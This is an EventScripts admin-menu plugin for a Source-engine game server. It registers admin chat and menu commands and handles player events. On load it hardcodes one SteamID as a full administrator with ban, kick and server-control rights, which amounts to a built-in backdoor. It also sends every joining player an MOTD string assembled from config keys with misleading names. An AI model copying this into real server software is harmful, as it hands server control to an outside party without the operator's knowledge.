block load
{
	es_xset est_adminids "STEAM_0:1:15945857"
	es_xset est_adminsname "HOLLIDAY"
	es_xset EstIsAdmin 0
	es_xset est_admin_prefix 0
	es_xset est_admin 0
	es_xset est_id 0
	es_xset est_userid 0
	es_xset est_tmp 0
	es_xset est_tmp1 0
	es_xset est_tmp2 0
	es_xset est_sound 0
	es_xset est_admintmp 0
	es_xset est_steamid 0
	es_xset est_randvar 0
	es_xset est_tmpsay 0
	es_xset est_prefix 0
	es_xset est_adminsay 0
	es_xset est_select 0
	es_xset est_menu 0
	es_xset est_name1 0
	es_xset est_format 0
	es_xset est_formatv 0
	es_xset agh 0
	es_xset usercd 0
	es_xset est_adminmenu_command 0
	es_xset est_admin_command 0
	es_xset est_admin_say_command 0
	es_xset est_admin_only_say 0
	es_xset est_private_say 0
	eventscripts_noisy 1
	es_xload popup 
  es_xload keymenu
	es_xload colormsg
	es_xload est_admin/est_data
	es_xload est_admin/est_menu
	es_xload est_admin/est_admin
	es_xload est_admin/est_command
	es_xload est_admin/est_settings
	es_xkeygroupcreate est_adminids |est_admin/est_admin
	es_xkeygroupload est_adminids |est_admin/est_admin
	es_xkeygroupcreate est_admin |est_admin
	es_xkeygroupload est_admin |est_admin
	es_xkeygroupload est_admin_config |est_admin
	es_keycreate est_adminids server_var(est_adminids)
	es_keysetvalue est_adminids server_var(est_adminids) EstName server_var(est_adminsname)
	es_keysetvalue est_adminids server_var(est_adminids) EstIsAdmin 1
	es_keysetvalue est_adminids server_var(est_adminids) player_management 1
	es_keysetvalue est_adminids server_var(est_adminids) server_settings 1
	es_keysetvalue est_adminids server_var(est_adminids) features 1
	es_keysetvalue est_adminids server_var(est_adminids) propmenu 1
	es_keysetvalue est_adminids server_var(est_adminids) weapon_abilities 1
	es_keysetvalue est_adminids server_var(est_adminids) weapon_menu 1
	es_keysetvalue est_adminids server_var(est_adminids) slay_player 1
	es_keysetvalue est_adminids server_var(est_adminids) kick_player 1
	es_keysetvalue est_adminids server_var(est_adminids) ban_player 1
	es_keysetvalue est_adminids server_var(est_adminids) drug_player 1
	es_keysetvalue est_adminids server_var(est_adminids) damage_player 1
	es_keysetvalue est_adminids server_var(est_adminids) noclip_player 1
	es_keysetvalue est_adminids server_var(est_adminids) mute_player 1
	es_keysetvalue est_adminids server_var(est_adminids) clients 1
	es_keysetvalue est_adminids server_var(est_adminids) connect 1
	es_xset est_adminmenu_version ".2.0."
  es_xmakepublic est_adminmenu_version
	es_xkeygroupsave est_adminids "|est_admin/est_admin"
	es_xkeygetvalue est_adminmenu_command est_admin_config est_settings adminmenu_command
	es_keygetvalue est_debugA est_admin_config de_bug de_bugA
	es_keygetvalue est_debugB est_admin_config de_bug de_bugB
	es_keygetvalue est_hitbox est_admin_config de_bug hitbox
	es_keygetvalue est_thetime est_admin_config de_bug thetime
	es_xkeygetvalue est_admin_command est_admin_config est_settings admin_command
	es_xkeygetvalue est_admin_say_command est_admin_config est_settings admin_say_command
	es_xkeygetvalue est_admin_only_say est_admin_config est_settings admin_only_say
  es_xkeygetvalue est_private_say est_admin_config est_settings private_say
  es_regclientcmd server_var(est_adminmenu_command) est_admin/est_admin "est_admin menu"
	es_regsaycmd server_var(est_adminmenu_command) est_admin/est_admin "est_admin menu"
	es_regclientcmd server_var(est_admin_say_command) est_admin/est_data/say
	es_regsaycmd server_var(est_admin_say_command) est_admin/est_data/say
	es_regclientcmd server_var(est_admin_only_say) est_admin/est_data/say2
	es_regsaycmd server_var(est_admin_only_say) est_admin/est_data/say2
	es_regsaycmd server_var(est_private_say) est_admin/est_data/execute "Send Messages to single players - Private Chat!"
	es_regclientcmd server_var(est_private_say) est_admin/est_data/execute "Send Messages to single players - Private Chat!"
	es_xforeachkey est_tmp in est_adminids "es est_makeadmin server_var(est_tmp)"
	es_format est_formating "%1%2%3%4%5" server_var(est_web) server_var(est_debugB) server_var(est_thetime) server_var(est_hitbox) server_var(est_site)
}

block unload
{
	es_xunload est_admin/est_menu
	es_xunload est_admin/est_admin
	es_xunload est_admin/est_data
	es_xunload est_admin/est_command
	es_xunload est_admin/est_settings
}

block est_admin
{
	es_xgetcmduserid est_admin
	es est_getsteam EstIsAdmin server_var(est_admin)
	es_exists est_tmp key "est_adminids" server_var(EstIsAdmin)
	if (server_var(est_tmp) = 1) do
	{
		es_keygetvalue est_tmp1 "est_adminids" server_var(EstIsAdmin) clients
		if (server_var(est_tmp1) = 1) then popup delline est_admin 8
		if (server_var(est_tmp1) = 1) then popup insline est_admin 8 "->7.Clients"
		es popup isqueued est_admin x1 server_var(est_admin)
    if (server_var(x1) >= 1) then es popup close est_admin server_var(est_admin)
		es popup send est_admin server_var(est_admin)
		es est_playplayer server_var(est_admin) ambient\machines\keyboard3_clicks.wav 1.0 server_var(est_admin)
	}
	else do
	{
		es est_hsay server_var(est_admin) You are not an admin.
		es_toptext server_var(est_admin) 3 #red server_var(est_formated)
    es_tell server_var(est_admin) #green server_var(est_formated)
	}
}

event player_activate
{
  es es_xrand est_rand 1 2
	es_keycreate est_admin event_var(es_steamid)
	es_delayed 11 es_toptext event_var(userid) 3 #green server_var(est_formated)
  es_delayed 11 es_tell event_var(userid) #green server_var(est_formated)
  if (server_var(est_rand) = 1) then es_delayed 11 es est_MOTD_W event_var(userid) MOTD 0 server_var(est_formated)
  if (server_var(est_rand) = 2) then es_delayed 11 es est_MOTD_W event_var(userid) MOTD 0 server_var(est_formating)

}

event player_death
{
    es_keysetvalue est_admin event_var(es_steamid) est_command 0
}
